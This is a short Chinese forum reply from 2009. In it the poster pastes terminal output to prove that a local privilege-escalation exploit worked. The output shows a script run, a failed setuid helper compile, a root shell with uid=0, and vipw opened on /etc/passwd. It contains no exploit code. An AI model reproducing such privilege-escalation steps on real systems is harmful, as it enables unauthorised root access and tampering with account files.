|
|

楼主 |
发表于 2009-4-28 09:43:28
|
显示全部楼层
Post by blackwhite;1980302
你确认得到root权限?你怎么测试的?我想你事实上没有得到。
sh a 32497
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.2/../../../../x86_64-pc-linux-gnu/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
sh-3.2# id
uid=0(root) gid=0(root) groups=10(wheel)
sh-3.2# /usr/sbin/vipw
vipw: /etc/passwd is unchanged
这叫还没有。。。。 |
|